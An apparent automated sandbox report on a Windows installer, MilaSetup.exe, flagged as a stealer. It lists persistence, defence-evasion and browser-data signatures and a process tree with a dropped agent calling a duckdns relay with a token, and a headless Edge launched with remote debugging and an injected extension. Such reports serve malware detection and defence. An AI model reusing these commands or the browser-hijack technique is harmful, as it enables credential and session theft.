Overview

overview

8

Static

static

3

MilaSetup.exe

windows10-2004-x64

8

MilaSetup.exe

windows11-ltsc_2024-x64

8

Analysis

  • max time kernel
    15s
  • max time network
    154s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    17/10/2026, 18:57

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    MilaSetup.exe
  • Size 25.6MB
  • Sample261017-xmcbqsge39
  • SHA256 c144f70ae62d2ce9410dccb07cb1d76f806607c2525e6cd396e11b294ae55251
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
8/10
adwarecredential_accessdefense_evasiondiscoverypersistenceransomwarespywarestealer

Malware Config

Signatures

  • Boot or Logon Autostart Execution: Active Setup 2 TTPs 1 IoCs

    Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine.

    persistence
  • Disables Task Manager via registry modification
    defense_evasion
  • Uses browser remote debugging 2 TTPs 13 IoCs

    Can be used to control the browser and steal sensitive information such as credentials and session cookies.

    credential_accessstealer
  • Executes dropped EXE 3 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Adds Run key to start application 2 TTPs 1 IoCs
    persistence
  • Enumerates connected drives 3 TTPs 2 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Sets desktop wallpaper using registry 2 TTPs 2 IoCs
    ransomware
  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

    discovery
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Reads the TCP/IP host and domain name from the registry 1 TTPs 4 IoCs

    The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

    discovery
  • System Time Discovery 1 TTPs 3 IoCs

    Adversary may gather the system time and/or time zone settings from a local or remote system.

    discovery
  • Checks SCSI registry key(s) 3 TTPs 62 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 2 IoCs
  • Kills process with taskkill 1 IoCs
    defense_evasion
  • Modifies Internet Explorer settings 1 TTPs 1 IoCs
    adwarespyware
  • Modifies registry class 36 IoCs
  • Suspicious behavior: EnumeratesProcesses 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 29 IoCs
  • Suspicious use of FindShellTrayWindow 48 IoCs
  • Suspicious use of SendNotifyMessage 26 IoCs
  • Suspicious use of SetWindowsHookEx 4 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence

Processes

  • C:\Users\Admin\AppData\Local\Temp\MilaSetup.exe
    "C:\Users\Admin\AppData\Local\Temp\MilaSetup.exe"
    1⤵
    • Sets desktop wallpaper using registry
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of WriteProcessMemory
    PID:4164
    • C:\Users\Admin\AppData\Local\Temp\MilaSetup.exe
      "C:\Users\Admin\AppData\Local\Temp\MilaSetup.exe" --overlay
      2⤵
        PID:4640
      • C:\Users\Admin\AppData\Local\MilaAgent\MilaAgent.exe
        "C:\Users\Admin\AppData\Local\MilaAgent\MilaAgent.exe" --install --quiet --relay "relay=wss://puppypilled.duckdns.org:8443/ws" --token "token=token=65ac75f12495eedb30eccae771b9b9136603b22dd6140feddfee0bbe1177e995"
        2⤵
        • Executes dropped EXE
        • Adds Run key to start application
        • Suspicious use of AdjustPrivilegeToken
        PID:5092
      • C:\Windows\explorer.exe
        "explorer.exe" "C:\Users\Admin\AppData\Local\MilaAgent\MilaAgent.exe"
        2⤵
          PID:5676
        • C:\Windows\SYSTEM32\taskkill.exe
          "taskkill" /f /im explorer.exe
          2⤵
          • Kills process with taskkill
          • Suspicious use of AdjustPrivilegeToken
          PID:476
        • C:\Windows\explorer.exe
          "C:\Windows\explorer.exe"
          2⤵
          • Boot or Logon Autostart Execution: Active Setup
          • Enumerates connected drives
          • Checks SCSI registry key(s)
          • Modifies Internet Explorer settings
          • Modifies registry class
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of FindShellTrayWindow
          • Suspicious use of SendNotifyMessage
          • Suspicious use of SetWindowsHookEx
          PID:5972
        • C:\program files (x86)\microsoft\edge\application\msedge.exe
          "C:\program files (x86)\microsoft\edge\application\msedge.exe"
          2⤵
          • Enumerates system info in registry
          • Suspicious use of WriteProcessMemory
          PID:4556
          • C:\program files (x86)\microsoft\edge\application\msedge.exe
            "C:\program files (x86)\microsoft\edge\application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\program files (x86)\microsoft\edge\application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x2f0,0x2f4,0x2f8,0x2ec,0x320,0x7ff881d6c188,0x7ff881d6c194,0x7ff881d6c1a0
            3⤵
              PID:1488
            • C:\program files (x86)\microsoft\edge\application\msedge.exe
              "C:\program files (x86)\microsoft\edge\application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1668,i,8627709741306738131,5622703390988718948,524288 --field-trial-handle=2476,i,1985439636956849351,590354453328697711,262144 --variations-seed-version --mojo-platform-channel-handle=2504 /prefetch:11
              3⤵
              • System Time Discovery
              PID:3452
            • C:\program files (x86)\microsoft\edge\application\msedge.exe
              "C:\program files (x86)\microsoft\edge\application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1536,i,2169786783239805609,16873946500699649119,262144 --field-trial-handle=2476,i,1985439636956849351,590354453328697711,262144 --variations-seed-version --mojo-platform-channel-handle=2472 /prefetch:2
              3⤵
                PID:3724
              • C:\program files (x86)\microsoft\edge\application\msedge.exe
                "C:\program files (x86)\microsoft\edge\application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2200,i,17819876201101622821,17479709652420394600,524288 --field-trial-handle=2476,i,1985439636956849351,590354453328697711,262144 --variations-seed-version --mojo-platform-channel-handle=2632 /prefetch:13
                3⤵
                  PID:280
                • C:\program files (x86)\microsoft\edge\application\msedge.exe
                  "C:\program files (x86)\microsoft\edge\application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3620,i,3099123120962341816,9338893874526562256,2097152 --field-trial-handle=2476,i,1985439636956849351,590354453328697711,262144 --variations-seed-version --mojo-platform-channel-handle=3676 /prefetch:1
                  3⤵
                    PID:828
                  • C:\program files (x86)\microsoft\edge\application\msedge.exe
                    "C:\program files (x86)\microsoft\edge\application\msedge.exe" --type=renderer --instant-process --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3624,i,16020552069062556723,16977582248108108416,2097152 --field-trial-handle=2476,i,1985439636956849351,590354453328697711,262144 --variations-seed-version --mojo-platform-channel-handle=3684 /prefetch:1
                    3⤵
                      PID:4968
                    • C:\program files (x86)\microsoft\edge\application\msedge.exe
                      "C:\program files (x86)\microsoft\edge\application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --metrics-shmem-handle=4256,i,10471015118868510302,6660694560258339852,2097152 --field-trial-handle=2476,i,1985439636956849351,590354453328697711,262144 --variations-seed-version --mojo-platform-channel-handle=4576 /prefetch:1
                      3⤵
                        PID:5908
                      • C:\program files (x86)\microsoft\edge\application\msedge.exe
                        "C:\program files (x86)\microsoft\edge\application\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --metrics-shmem-handle=4268,i,15956855698406510176,7985661726508037954,2097152 --field-trial-handle=2476,i,1985439636956849351,590354453328697711,262144 --variations-seed-version --mojo-platform-channel-handle=4580 /prefetch:9
                        3⤵
                          PID:1244
                        • C:\program files (x86)\microsoft\edge\application\msedge.exe
                          "C:\program files (x86)\microsoft\edge\application\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --always-read-main-dll --metrics-shmem-handle=5316,i,4964447760852658863,14209163676665260756,2097152 --field-trial-handle=2476,i,1985439636956849351,590354453328697711,262144 --variations-seed-version --mojo-platform-channel-handle=5332 /prefetch:9
                          3⤵
                            PID:1376
                          • C:\program files (x86)\microsoft\edge\application\msedge.exe
                            "C:\program files (x86)\microsoft\edge\application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5500,i,3978766589343725470,11610987147065403644,524288 --field-trial-handle=2476,i,1985439636956849351,590354453328697711,262144 --variations-seed-version --mojo-platform-channel-handle=5492 /prefetch:14
                            3⤵
                              PID:4932
                            • C:\program files (x86)\microsoft\edge\application\msedge.exe
                              "C:\program files (x86)\microsoft\edge\application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --always-read-main-dll --metrics-shmem-handle=3804,i,11773494672293992260,7116918512790267350,2097152 --field-trial-handle=2476,i,1985439636956849351,590354453328697711,262144 --variations-seed-version --mojo-platform-channel-handle=3616 /prefetch:1
                              3⤵
                                PID:5060
                              • C:\program files (x86)\microsoft\edge\application\msedge.exe
                                "C:\program files (x86)\microsoft\edge\application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --always-read-main-dll --metrics-shmem-handle=5828,i,6129964317145495250,7352744236605218807,2097152 --field-trial-handle=2476,i,1985439636956849351,590354453328697711,262144 --variations-seed-version --mojo-platform-channel-handle=5856 /prefetch:1
                                3⤵
                                  PID:6404
                                • C:\program files (x86)\microsoft\edge\application\msedge.exe
                                  "C:\program files (x86)\microsoft\edge\application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5764,i,13601859002514513688,491058696438972985,524288 --field-trial-handle=2476,i,1985439636956849351,590354453328697711,262144 --variations-seed-version --mojo-platform-channel-handle=5992 /prefetch:14
                                  3⤵
                                    PID:6516
                                  • C:\program files (x86)\microsoft\edge\application\msedge.exe
                                    "C:\program files (x86)\microsoft\edge\application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3732,i,10608335703673474871,2124392721749385747,524288 --field-trial-handle=2476,i,1985439636956849351,590354453328697711,262144 --variations-seed-version --mojo-platform-channel-handle=6048 /prefetch:14
                                    3⤵
                                      PID:6524
                                    • C:\program files (x86)\microsoft\edge\application\139.0.3405.125\identity_helper.exe
                                      "C:\program files (x86)\microsoft\edge\application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6672,i,2265454328171443267,14630339444060548159,524288 --field-trial-handle=2476,i,1985439636956849351,590354453328697711,262144 --variations-seed-version --mojo-platform-channel-handle=6688 /prefetch:14
                                      3⤵
                                        PID:7872
                                      • C:\program files (x86)\microsoft\edge\application\139.0.3405.125\identity_helper.exe
                                        "C:\program files (x86)\microsoft\edge\application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6672,i,2265454328171443267,14630339444060548159,524288 --field-trial-handle=2476,i,1985439636956849351,590354453328697711,262144 --variations-seed-version --mojo-platform-channel-handle=6688 /prefetch:14
                                        3⤵
                                          PID:7892
                                        • C:\program files (x86)\microsoft\edge\application\msedge.exe
                                          "C:\program files (x86)\microsoft\edge\application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6936,i,15775565323399980772,4296769702929045743,524288 --field-trial-handle=2476,i,1985439636956849351,590354453328697711,262144 --variations-seed-version --mojo-platform-channel-handle=4916 /prefetch:14
                                          3⤵
                                            PID:4600
                                          • C:\program files (x86)\microsoft\edge\application\msedge.exe
                                            "C:\program files (x86)\microsoft\edge\application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=18 --always-read-main-dll --metrics-shmem-handle=4944,i,5017642810915644800,15235269084655089962,2097152 --field-trial-handle=2476,i,1985439636956849351,590354453328697711,262144 --variations-seed-version --mojo-platform-channel-handle=4940 /prefetch:1
                                            3⤵
                                              PID:7832
                                            • C:\program files (x86)\microsoft\edge\application\msedge.exe
                                              "C:\program files (x86)\microsoft\edge\application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6956,i,10108779641902098327,14129038172361647458,524288 --field-trial-handle=2476,i,1985439636956849351,590354453328697711,262144 --variations-seed-version --mojo-platform-channel-handle=7304 /prefetch:14
                                              3⤵
                                                PID:6148
                                              • C:\program files (x86)\microsoft\edge\application\msedge.exe
                                                "C:\program files (x86)\microsoft\edge\application\msedge.exe" --type=utility --utility-sub-type=video_capture.mojom.VideoCaptureService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=7024,i,8457053980642407733,11731475956629163670,524288 --field-trial-handle=2476,i,1985439636956849351,590354453328697711,262144 --variations-seed-version --mojo-platform-channel-handle=6140 /prefetch:14
                                                3⤵
                                                  PID:5544
                                                • C:\program files (x86)\microsoft\edge\application\msedge.exe
                                                  "C:\program files (x86)\microsoft\edge\application\msedge.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6396,i,17798640540003146039,5496508360933416672,524288 --field-trial-handle=2476,i,1985439636956849351,590354453328697711,262144 --variations-seed-version --mojo-platform-channel-handle=7280 /prefetch:12
                                                  3⤵
                                                    PID:2692
                                                  • C:\program files (x86)\microsoft\edge\application\msedge.exe
                                                    "C:\program files (x86)\microsoft\edge\application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6756,i,3091745664196275118,5294935595742589529,524288 --field-trial-handle=2476,i,1985439636956849351,590354453328697711,262144 --variations-seed-version --mojo-platform-channel-handle=6704 /prefetch:14
                                                    3⤵
                                                      PID:8120
                                                    • C:\program files (x86)\microsoft\edge\application\msedge.exe
                                                      "C:\program files (x86)\microsoft\edge\application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6764,i,9489973615018766444,16933143056868554120,524288 --field-trial-handle=2476,i,1985439636956849351,590354453328697711,262144 --variations-seed-version --mojo-platform-channel-handle=6700 /prefetch:14
                                                      3⤵
                                                        PID:8124
                                                      • C:\program files (x86)\microsoft\edge\application\msedge.exe
                                                        "C:\program files (x86)\microsoft\edge\application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6600,i,17058040504365887587,16333475292980586478,524288 --field-trial-handle=2476,i,1985439636956849351,590354453328697711,262144 --variations-seed-version --mojo-platform-channel-handle=7492 /prefetch:14
                                                        3⤵
                                                          PID:8128
                                                        • C:\program files (x86)\microsoft\edge\application\msedge.exe
                                                          "C:\program files (x86)\microsoft\edge\application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-US --service-sandbox-type=search_indexer --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5440,i,9937167444577265264,15895638150851055439,524288 --field-trial-handle=2476,i,1985439636956849351,590354453328697711,262144 --variations-seed-version --mojo-platform-channel-handle=5452 /prefetch:14
                                                          3⤵
                                                            PID:6728
                                                          • C:\program files (x86)\microsoft\edge\application\msedge.exe
                                                            "C:\program files (x86)\microsoft\edge\application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6896,i,11964856748092574764,9629298919637113393,524288 --field-trial-handle=2476,i,1985439636956849351,590354453328697711,262144 --variations-seed-version --mojo-platform-channel-handle=6916 /prefetch:14
                                                            3⤵
                                                              PID:2788
                                                            • C:\program files (x86)\microsoft\edge\application\msedge.exe
                                                              "C:\program files (x86)\microsoft\edge\application\msedge.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.26100.1301 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=6384,i,3214577684102449538,3440541953751380346,262144 --field-trial-handle=2476,i,1985439636956849351,590354453328697711,262144 --variations-seed-version --mojo-platform-channel-handle=6892 /prefetch:10
                                                              3⤵
                                                                PID:7624
                                                            • C:\program files (x86)\microsoft\edge\application\msedge.exe
                                                              "C:\program files (x86)\microsoft\edge\application\msedge.exe" --new-window https://x.com/settings/profile#miladrain-go-8df2c88feb67dbe
                                                              2⤵
                                                                PID:2160
                                                            • C:\Windows\explorer.exe
                                                              C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
                                                              1⤵
                                                              • Modifies registry class
                                                              • Suspicious use of SetWindowsHookEx
                                                              • Suspicious use of WriteProcessMemory
                                                              PID:2816
                                                              • C:\Users\Admin\AppData\Local\MilaAgent\MilaAgent.exe
                                                                "C:\Users\Admin\AppData\Local\MilaAgent\MilaAgent.exe"
                                                                2⤵
                                                                • Executes dropped EXE
                                                                • Reads the TCP/IP host and domain name from the registry
                                                                • Suspicious use of AdjustPrivilegeToken
                                                                PID:3388
                                                                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --headless=new --disable-gpu --no-first-run --no-default-browser-check --user-data-dir="C:\Users\Admin\AppData\Local\MilaAgent\profile" --remote-debugging-port=48711 --load-extension="C:\Users\Admin\AppData\Local\MilaDrain\extension" "https://x.com/settings/profile?mila=70d53562#miladrain-cmd-81d4f11e0840"
                                                                  3⤵
                                                                  • Uses browser remote debugging
                                                                  PID:1184
                                                                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler --user-data-dir=C:\Users\Admin\AppData\Local\MilaAgent\profile /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Users\Admin\AppData\Local\MilaAgent\profile\Crashpad --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x260,0x264,0x268,0x25c,0x328,0x7ff881d6c188,0x7ff881d6c194,0x7ff881d6c1a0
                                                                    4⤵
                                                                      PID:4288
                                                                    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\MilaAgent\profile" --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --field-trial-handle=2072,i,6364991621216948246,17394437064983387649,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=2180 /prefetch:11
                                                                      4⤵
                                                                      • System Time Discovery
                                                                      PID:6924
                                                                    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --headless=new --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\MilaAgent\profile" --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --use-gl=angle --use-angle=swiftshader-webgl --always-read-main-dll --field-trial-handle=2072,i,6364991621216948246,17394437064983387649,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=2068 /prefetch:2
                                                                      4⤵
                                                                        PID:6932
                                                                      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\MilaAgent\profile" --force-high-res-timeticks=disabled --always-read-main-dll --field-trial-handle=2072,i,6364991621216948246,17394437064983387649,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=2340 /prefetch:13
                                                                        4⤵
                                                                          PID:6948
                                                                        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\MilaAgent\profile" --pdf-upsell-enabled --force-high-res-timeticks=disabled --remote-debugging-port=48711 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --field-trial-handle=2072,i,6364991621216948246,17394437064983387649,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=3608 /prefetch:1
                                                                          4⤵
                                                                          • Uses browser remote debugging
                                                                          PID:1644
                                                                        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\MilaAgent\profile" --pdf-upsell-enabled --force-high-res-timeticks=disabled --remote-debugging-port=48711 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --field-trial-handle=2072,i,6364991621216948246,17394437064983387649,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=3612 /prefetch:1
                                                                          4⤵
                                                                          • Uses browser remote debugging
                                                                          PID:4268
                                                                        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\MilaAgent\profile" --pdf-upsell-enabled --force-high-res-timeticks=disabled --remote-debugging-port=48711 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --field-trial-handle=2072,i,6364991621216948246,17394437064983387649,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=4244 /prefetch:1
                                                                          4⤵
                                                                          • Uses browser remote debugging
                                                                          PID:6396
                                                                        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\MilaAgent\profile" --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --remote-debugging-port=48711 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --field-trial-handle=2072,i,6364991621216948246,17394437064983387649,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=4676 /prefetch:9
                                                                          4⤵
                                                                          • Uses browser remote debugging
                                                                          PID:552
                                                                        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\MilaAgent\profile" --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --remote-debugging-port=48711 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --always-read-main-dll --field-trial-handle=2072,i,6364991621216948246,17394437064983387649,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=5056 /prefetch:9
                                                                          4⤵
                                                                          • Uses browser remote debugging
                                                                          PID:6632
                                                                        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\MilaAgent\profile" --force-high-res-timeticks=disabled --always-read-main-dll --field-trial-handle=2072,i,6364991621216948246,17394437064983387649,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=4640 /prefetch:14
                                                                          4⤵
                                                                            PID:7128
                                                                          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\MilaAgent\profile" --pdf-upsell-enabled --force-high-res-timeticks=disabled --remote-debugging-port=48711 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --always-read-main-dll --field-trial-handle=2072,i,6364991621216948246,17394437064983387649,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=4884 /prefetch:1
                                                                            4⤵
                                                                            • Uses browser remote debugging
                                                                            PID:7304
                                                                          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
